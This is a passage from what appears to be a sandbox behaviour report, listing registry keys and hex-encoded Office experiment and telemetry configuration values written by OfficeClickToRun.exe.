1302d31322c502d442d33323538382d312d332c502d442d33323533342d312d332c502d442d33323532342d312d332c502d442d33323531382d312d332c502d442d33323531322d312d332c502d442d33323530392d312d332c502d442d33323438352d312d342c502d442d33323438342d312d342c502d442d33323430352d312d332c502d522d313038373134312d342d372c502d522d34393136302d31322d31322c502d522d34373630312d31382d31332c502d522d34363833342d31322d31342c502d522d34363230322d31382d31312c502d522d34343031382d31382d31332c502d522d34333335352d31382d31322c502d522d33353333372d31362d372c502d522d33333931362d312d352c502d522d33333538302d382d392c502d582d3131373430302d312d332c502d522d35393137352d31382d342c502d522d35333239322d31342d31302c502d522d34393133302d31382d32332c502d522d34363931332d31382d382c502d522d33373434392d31382d31352c75786d656469756d69636f6e6c756d696e616e63653a3335333435352c502d522d34383534392d31382d31312c502d522d31393236322d312d31322c502d452d34343737342d322d392c502d522d34343836392d31362d31362c502d522d33333931382d312d31312c502d522d313132383633302d312d372c502d522d313039383431322d312d352c502d522d313039313236372d312d35312c502d522d38313732302d312d322c502d522d35383430362d312d352c502d442d35303639372d322d342c502d442d32393731392d312d312c502d442d32393731382d312d312c502d442d32393539332d312d36222c2022434322203a20227374643a3a77737472696e677c4742222c2022446566436f6e667322203a20227374643a3a77737472696e677c6f6673683663326231746c61316133312c6f666372756934797664756c626633312c6f6668706578336a7a6e65706f6f3331222c202245787054696d6522203a2022696e7436345f747c31373138333632343139222c20224554616722203a20227374643a3a77737472696e677c5c22713257445a582f636953556f464c30526b793569736b7952496242656e526f6e4d4d3232733456666754593d5c22222c202246434d617022203a205b207b20224622203a20224d6963726f736f66742e4f66666963652e | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Set value (data) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\0.2 = 4f6e4f70656e222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e4661696c43616c6c73546f5472616e73616374656453747265616d446174614265666f72654373694c6f616446696c65222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e4872446f776e6c6f616454656d704173796e634c4d54222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e496e637265617365644279746573427566666572657257696e646f7753697a65222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e496e6372656d656e74616c4f70656e222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e4973496e74656c6c6967656e745361766550726f6d7074537572766579456e61626c6564222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e49734f70656e4572726f724469616c6f6741626c65546f42654f76657272696464656e222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e4c6f636174696f6e5069636b65725468726565446f74222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e4e65766572466f726365486f73744d6f6465496e436f6c6c61625265636f6e63696c6174696f6e222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e4f63735072656665746368496e7465726e616c436f6f7264696e6174696f6e456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e4f637369576f726b696e67436f7079577269746546696c654d61785265747279436f756e74222c20225622203a2022696e7433325f747c3522207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e4f637369576f726b696e67436f7079577269746546696c655265747279496e74657276616c496e4d696c6c697365636f6e6473222c20225622203a2022696e7433325f747c31303022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e5265667265736855706f6e526573746f726174696f6e222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e536572766572496e666f4d736f446176436865636b456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e536861726555726c456e64706f696e744361636865456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e53686f756c645265717565737451756572794578706563746564416363657373222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e536b6970556e636f6d70617261626c65446f776e6c6f61645265766973696f6e222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e536b6970576563496e6974447572696e674f70656e222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e53747269637453746f726167654c6966656379636c65222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e537472697056657273696f6e494446726f6d55726c4265666f726553656e64696e67546f437369222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e5472696767657253796e63496e7369646548616e646c6542617365446f776e6c6f61644572726f72222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e556e7365745265736f757263654964496646696c655761734e6f745361766564546f536572766572222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e5573654361636865644e6574776f726b436f6e6e656374696f6e222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e5573655265666163746f72656453796e634368616e6e656c496e486f73745265766973696f6e7355706461746572222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e557365586d6c48747470436f6d706f6e656e74222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e56616c69646174654d617050617468734c697465222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e466c6f6f64676174652e44656661756c744368616e6e656c436f6f6c646f776e2e42616e6e6572222c20225622203a2022696e7433325f747c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e466c6f6f64676174652e456e61626c6543616d706169676e436c69656e74222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e466c6f6f64676174652e456e61626c654d6f6465726e466c6f7757697468546965726564476f7665726e616e6365222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e466c6f6f64676174652e456e61626c654d756c74694c61756e636853757276657943616d706169676e73222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e466c6f6f64676174652e456e61626c6554656c656d657472794576656e745472616e736475636572222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e466c6f6f64676174652e456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e466c6f6f64676174652e496e7369646572546f6173744c61756e63686572456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e466c6f6f64676174652e4d617843616d706169676e73506572417070222c20225622203a2022696e7433325f747c323522207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e466c6f6f64676174652e4d6178446961676e6f73746963436f6c6c656374696f6e73506572417070222c20225622203a2022696e7433325f747c323022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e466c6f6f64676174652e4e6f746669636174696f6e4c61756e63686572456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e466c6f6f64676174652e50726976616379436865636b466f724e6f6e436f6e74726f6c6c657253657276696365466f72537572766579222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e466c6f6f64676174652e526f616d696e67426173656443616d706169676e537461746573222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e466c6f6f64676174652e526f616d696e674261736564476f7665726e65644368616e6e656c537461746573222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e466c6f6f64676174652e526f616d696e67426173656453757276657941637469766174696f6e5374617473222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e466c6f6f64676174652e53757276657973456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e4368616e6765476174652e41766f6964556e6e656365737361727944657669636552656372656174654f6e446973706c61794368616e6765222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e4368616e6765476174652e436865636b507265666572436d644c697374466f7243616c6c436d64546f7373556e646f222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e4368616e6765476174652e456e73757265496e6b5374796c65496e69745769746853757266616365222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e4368616e6765476174652e4669784465766963655265456e756d65726174696f6e222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e4368616e6765476174652e52756e4d6f646966794465736372697074696f6e436f6d6d616e6441734d6f6465726e496e457863656c222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e4368616e6765476174652e5365745465787446696c6c546f426c61636b466f7253656c6563746564486967686c69676874222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e4368616e6765476174652e5365745465787446696c6c546f426c61636b466f7253656c6563746564486967686c6967687432222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e4368616e6765476174652e5573655368617265644458474941646170746572456e756d65726174696f6e4c6f676963466f7253746172747570222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e436f6d6d616e64732e456e61626c6553657450696374757265417370656374526174696f436d64222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e436f6d6d616e64732e456e61626c655365745461626c655374796c65436d64222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e456e61626c654368616e676550696374757265436f6d6d616e64466f72426c697046696c6c73222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e456e61626c655356474c696e65416e6446696c6c436f6d6d616e6473466f72536861706573222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e47657443616c6c537461636b466f7246576964656e222c20225622203a2022696e7433325f747c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e49636f46696c746572456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e496e6b2e44656c657465416c6c496e6b222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e4d617833444d6174657269616c5465787475726553697a65222c20225622203a2022696e7433325f747c3430393622207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e4d6f64656c33444f6e6c696e652e426c6f636b6564436f756e7472696573222c20225622203a20227374643a3a77737472696e677c61663b647a3b62683b636e3b63753b65673b69643b69723b69713b6a6f3b6b773b6c623b6c793b6d723b6d613b6b703b6f6d3b71613b73613b73643b73793b746e3b74723b61653b796522207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e4d6f64656c33444f6e6c696e652e426c6f636b65644c616e677561676573222c20225622203a20227374643a3a77737472696e677c74722d74723b7a682d636e3b61722d73613b69642d696422207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e4d756c74695363656e654465707265636174696f6e732e476574554957696e646f7746726f6d55736572496e74657266616365222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e526574727943726561746544324431466163746f72794f6e44656c61794c6f61644661696c7572654d617852657472696573222c20225622203a2022696e7433325f747c323022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e536e61704c696e655769647468496e50656e222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e53746172744174506172656e7454696d65222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e537570706f727454657874496e535647546f5368617065436f6e76657273696f6e222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e557365417263546578747572654265666f7265443244222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e5573654c6973744e6f6465222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e5573654c6f676963616c445049466f72566563746f72496d6167655265736f75726365222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e557365536d617274496e6b416e616c797a6572466f72496e6b456469746f72222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726f7774682e41697254726166666963436f6e74726f6c2e466f726365456e67696e6553657475704f6e4247546872656164222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726f7774682e41697254726166666963436f6e74726f6c2e4f7074696d697a65526f616d696e6753657474696e67222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726f7774682e41697254726166666963436f6e74726f6c2e547275737442617244656c6179466f726d6174222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726f7774682e41697254726166666963436f6e74726f6c2e556e666f726d6174746564427573426172222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e48656c702e496e636c756465436f6d6d616e6454797065222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4964656e746974792e4144414c5468726f74746c696e67456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4964656e746974792e41766f696453656e64696e675368617265506f696e7448656164657273546f5075626c6963456e64706f696e7473222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4964656e746974792e4368616e6765476174652e4f6e6c7950657273697374536368656d65466f7253657276657255726c73222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4964656e746974792e456e61626c6557616d54656c656d65747279426c6f62222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4964656e746974792e456e7375726550726f66696c65466f725072696d6172794964656e746974696573222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4964656e746974792e49676e6f726544697361626c654144414c61746f7057414d4f76657272696465466f725075726557414d222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4964656e746974792e53706f41757468436f6e74657874456e61626c6564222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4964656e746974792e5573654964656e7469747943726564656e7469616c734661696c757265496e666f222c20225622203a2022626f6f6c7c3122207d2c207b20 | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Set value (data) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\0.11 = 74626561745c22203a207b205c224576656e74735c22203a207b205c22577269746543616368655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225265616443616368655c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22517569636b56616c69646174696f6e5c22203a207b205c224576656e74735c22203a207b205c224c6f61644c6963656e73655c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c2246756c6c56616c69646174696f6e5c22203a207b205c224576656e74735c22203a207b205c224c6f61644c6963656e73655c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c2250726f706572746965735c22203a207b205c224576656e74735c22203a207b205c224765744c6963656e736543617465676f72795c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22546f6b656e697a654c6963656e736543617465676f726965735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225570646174654c6963656e736543617465676f726965735c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c224272616e64696e675c22203a207b205c224576656e74735c22203a207b205c2247657441707056616c75655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2247657450726f6475637456616c75655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2253686f756c645573654d6963726f736f66743336354272616e64696e675c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c2254656e616e745c22203a207b205c224576656e74735c22203a207b205c22496e697454656e616e7449645c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c224e756c5c22203a207b205c225375624e616d657370616365735c22203a207b205c22466574636865725c22203a207b205c224576656e74735c22203a207b205c224765744e756c4f626a656374466f724964656e746974795c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2246657463684d6f64656c46726f6d4f6c735c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224765744c6963656e73654665617475726573466f724964656e746974795c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2243726561746552657175657374426f64795c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c224d6f64656c5c22203a207b205c224576656e74735c22203a207b205c224765744c6963656e736543617465676f72795c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22476574416c6c4c6963656e736543617465676f726965735c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22446573657269616c697a655c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c225061727365526177526573706f6e73655c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2243616e52756e46656174757265526573756c74735c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c224d6f64655c22203a207b205c224576656e74735c22203a207b205c224765744d6f64655c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c224170695c22203a207b205c224576656e74735c22203a207b205c22437265617465526571756573745c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2253656e64526571756573745c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2252656365697665526573706f6e73655c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c2253746f726167655c22203a207b205c224576656e74735c22203a207b205c2247657453746f72616765506174685c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224c6f61644d6f64656c735c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22476574556e766572696669656453746f72616765506174685c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224c6f61644d6f64656c5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2252656e616d6546696c65546f55736555706461746564486173685c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c2256616c69646174696f6e5c22203a207b205c224576656e74735c22203a207b205c22517569636b56616c69646174696f6e5c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c2256616c696461746f725c22203a207b205c224576656e74735c22203a207b205c224d61746368696e67486172776172656449645c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d207d207d2c205c22466c6f77735c22203a207b205c224576656e74735c22203a207b205c22536561726368466f72534341546f6b656e5c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e4d6f786965222c20225622203a20227374643a3a77737472696e677c7b205c224576656e74466c61675c22203a203438383936207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e4f6666696365222c20225622203a20227374643a3a77737472696e677c7b205c224c6f636b65645c22203a2066616c73652c205c225375624e616d657370616365735c22203a207b205c224e61747572616c4c616e67756167655c22203a207b205c224c6f636b65645c22203a2066616c73652c205c225375624e616d657370616365735c22203a207b205c224372697469717565735c22203a207b205c224c6f636b65645c22203a2066616c73652c205c224576656e74735c22203a207b205c2250726f636573734175676c6f6f704372697469717565735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2250726f636573734175676c6f6f7041646443726974697175655c22203a207b205c224576656e74466c61675c22203a2032207d207d207d207d207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e4f75746c6f6f6b222c20225622203a20227374643a3a77737472696e677c7b205c225375624e616d657370616365735c22203a207b205c224465736b746f705c22203a207b205c225375624e616d657370616365735c22203a207b205c2253796e635c22203a207b205c224576656e74735c22203a207b205c2253796e6350757267654f66666c696e654974656d735c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c2256696577735c22203a207b205c224576656e74735c22203a207b205c224872566965774c6f6164436f6d706c657465645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22566965774d6f64655c22203a207b205c224576656e74466c61675c22203a2032207d207d207d207d207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e506572736f6e616c697a6174696f6e222c20225622203a20227374643a3a77737472696e677c7b205c225375624e616d657370616365735c22203a207b205c2246696c65496e736967687443616368654d616e616765725c22203a207b205c224576656e74735c22203a207b205c2250757267654578706972656443616368655c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c225369676e616c50726f636573736f725c22203a207b205c224576656e74735c22203a207b205c2253656e645369676e616c5c22203a207b205c224576656e74466c61675c22203a2032207d207d207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e50726f6772616d6d6162696c697479222c20225622203a20227374643a3a77737472696e677c7b205c225375624e616d657370616365735c22203a207b205c2254656c656d657472795c22203a207b205c224576656e74735c22203a207b205c22446e61416464496e4c6f6164586c6c46696c655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446e61416464496e4c6f616445787465726e616c446c6c5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446e61416464496e4c6f6164446e6146696c655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22416464696e43726173685c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22416464696e735c22203a207b205c224576656e74735c22203a207b205c22417070416464496e4c6f61645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22417070416464496e55736167655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22416464696e446f634c6f61645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22496e7465726e616c536574436f6e6e6563745c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e5365637572697479222c20225622203a20227374643a3a77737472696e677c7b205c224576656e74735c22203a207b205c22436c70547279557067726164654c6162656c4661696c7572655c22203a207b205c224576656e74466c61675c22203a203438383936207d207d2c205c225375624e616d657370616365735c22203a207b205c22436c705c22203a207b205c224576656e74735c22203a207b205c224c6162656c55736167655c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c224f7574636f6d6555736167655c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c224f66666963654a534765744c6162656c44657461696c735c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c22436c70506f6c696379466574636843616c6c4261636b537563636573735c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c224d616e6461746f72794c6162656c6c696e674469616c6f675c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c224f626a6563744d6f64656c4765744c6162656c5c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c224f626a6563744d6f64656c5365744c6162656c5c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c224f626a6563744d6f64656c506f6c696379436f6d706c657465496e697469616c697a655c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c2253656c6563744a757374696669636174696f6e4f7074696f6e5c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c2253656e7369746976697479466c796f7574416e63686f72547261636b416e645265766f6b65427574746f6e436c69636b5c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c225265676973746572446f63756d656e745c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c2246657463684c6162656c7346726f6d5365727665725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2247657444656661756c744c6162656c49445c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224765744c6162656c735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224765744f7574636f6d6573466f724c6162656c4368616e67655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2250726f6365737341756469744f6e506f6c6963794d617463685c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2250726f6365737341756469744f6e5265706c79466f72776172645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2250726f6365737341756469744f70656e48656c7065725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224765744175646974496e666f506f6c6963794d617463685c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224765744175646974496e666f4c6162656c416374696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224765744175646974496e666f46696c65416374696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224c6162656c696e67457870657269656e63655c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224164644c6162656c4f627365727665725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2252656d6f76654c6162656c4f627365727665725c22203a207b205c224576656e74466c61675c22203a2032207d207d2c205c225375624e616d657370616365735c22203a207b205c22436c705c22203a207b205c224576656e74735c22203a207b205c22446b6550726f746563746564436f6e74656e745c22203a207b205c224576656e74466c61675c22203a203438383936207d207d207d207d207d2c205c224d6163726f5c22203a207b205c224576656e74735c22203a207b205c22426c6f636b4d6163726f46726f6d496e7465726e6574506f6c69637953657474696e675c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22456e636f756e74657265645c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22456e61626c65645c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c2246696c65426c6f636b5c22203a207b205c224576656e74735c22203a207b205c2246696c65426c6f636b496e666f726d6174696f6e5c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c224f43585c22203a207b205c224576656e74735c22203a207b205c2254727573746564456e636f756e7465725c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224e6f6e54727573746564456e636f756e7465725c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22416363657373456e636f756e7465725c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c22426c6f636b6564657874656e73696f6e735c22203a207b205c224576656e74735c22203a207b205c2246696c65457874656e73696f6e4c69737446726f6d536572766963655c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c22536563757265526561646572486f73745c22203a207b205c224576656e74735c22203a207b205c224f70656e496e4f53525c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e54617267657465644d6573736167696e67222c20225622203a20227374643a3a77737472696e677c7b205c224576656e74735c22203a207b205c224275736261725468656d6553656c656374696f6e5374617475735c22203a207b205c224576656e74466c61675c22203a2032207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e54656c656d65747279222c20225622203a20227374643a3a77737472696e677c7b205c224576656e74735c22203a207b205c22436c69656e7453616d706c696e674f76657272696464656e5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2253797374656d4865616c74684d657461646174614e6574776f726b436f73745c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c224576656e7451756172616e74696e65645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224c6f6164586d6c52756c65735c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2250726f6365737349646c6551756575654a6f625c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22466c7573684576656e744275666665725c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2254656c656d6574727953656e74696e656c56616c75655c22203a207b205c224576656e74466c61675c22203a2030207d207d2c205c224c6f636b65645c22203a2066616c7365207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e54656c6c4d65222c20225622203a20227374643a3a77737472696e677c7b205c225375624e616d657370616365735c22203a207b205c2254656c6c4d655741435c22203a207b205c2245766